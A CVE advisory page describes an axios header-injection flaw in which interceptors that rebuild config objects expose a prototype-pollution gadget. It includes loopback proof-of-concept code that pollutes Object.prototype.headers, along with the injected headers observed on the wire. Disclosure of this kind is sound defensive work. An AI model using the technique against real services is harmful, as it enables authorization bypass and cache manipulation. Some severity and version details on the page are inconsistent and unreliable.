CVE-2026-101904 — Vulnerability in axios — CVE Details
Axios: Header Injection via Inherited headers After Minimal Interceptor
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.59%). Schedule for your next planned update.
Does your project use an affected axios version?
Paste your package-lock.json to check it for CVE-2026-101904 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.
Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.
Impact
An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.
The issue is conditional and should not be described as affecting every interceptor or every request.
Affected Functionality
Affected:
- Request interceptor chains where an interceptor returns a new ordinary object.
- Replacement config objects that omit an own
headersproperty. dispatchRequest()header normalization throughAxiosHeaders.from(config.headers).
Not affected:
- Requests whose interceptor preserves an own
headersproperty. - Interceptors that mutate and return the existing null-prototype config.
- Processes without prototype pollution.
Technical Details
lib/core/dispatchRequest.js contains:
config.headers = AxiosHeaders.from(config.headers);
The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.
Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.
Proof of Concept of Attack
Constrained local demonstration:
Object.prototype.headers = { 'X-Poisoned': 'yes' };
const client = axios.create();
client.interceptors.request.use((config) => ({
url: config.url,
method: config.method,
timeout: config.timeout
}));
await client.get(url);
Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.
Workarounds
Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.
Summary
Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.
This allows attacker-controlled headers to be placed on the wire.
Affected Version
Validated on:
- axios:
1.17.0 - commit:
4306df2 - runtime: Node.js
v24.15.0
Preconditions
- A separate prototype-pollution primitive can write an object to
Object.prototype.headers. - A request interceptor rebuilds config and omits own
headers.
Root Cause
dispatchRequest() uses:
config.headers = AxiosHeaders.from(config.headers);
If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.
Impact
An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.
Proof of Concept
import axios from './index.js';
import http from 'http';
const start = (handler) => new Promise((resolve) => {
const server = http.createServer(handler);
server.listen(0, '127.0.0.1', () => resolve(server));
});
const stop = (server) => new Promise((resolve) => server.close(resolve));
const hits = [];
const server = await start((req, res) => {
hits.push(req.headers);
res.setHeader('Content-Type', 'application/json');
res.end('{"ok":true}');
});
try {
Object.prototype.headers = {
'X-Poisoned': 'yes',
'If-None-Match': '*'
};
const client = axios.create();
client.interceptors.request.use((config) => ({
url: config.url,
method: config.method,
timeout: config.timeout
}));
await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
timeout: 3000
});
console.log(hits[0]);
} finally {
delete Object.prototype.headers;
await stop(server);
}
Observed wire headers:
{
"x-poisoned": "yes",
"if-none-match": "*",
"user-agent": "axios/1.17.0"
}
References
Advisory Timeline
- First published September 30, 2026 (57 days ago).
- Last revised September 30, 2026 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
npm install axios@1.20.0
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: npm (1).
| Package | Fixed In |
|---|---|
| axios npm · Affected: All versions | 1.20.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-1321Prototype PollutionMITRE
- CWE-74
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N
References
- https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32WEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-101904ADVISORY
- https://github.com/axios/axios/pull/11141WEB
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39aWEB
- https://github.com/axios/axiosPACKAGE
- https://github.com/axios/axios/releases/tag/v1.20.0WEB
Frequently Asked Questions
- What is CVE-2026-101904?
- Axios: Header Injection via Inherited headers After Minimal Interceptor. This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 8.8/10).
- How do I check if my project is affected by CVE-2026-101904?
- CVE-2026-101904 affects axios. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-101904 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 42% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2025-58754HIGH
Axios is vulnerable to DoS attack through lack of data size check
- CVE-2026-42043HIGH
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
- CVE-2026-42264HIGH
Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
- CVE-2026-101907HIGH
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
- CVE-2026-42037MEDIUM
Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
- CVE-2026-101899MEDIUM
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
- CVE-2026-101900MEDIUM
Axios: Fetch Adapter Header Injection via Inherited FormData getHeaders
- CVE-2026-42036MEDIUM
Axios: HTTP adapter streamed responses bypass maxContentLength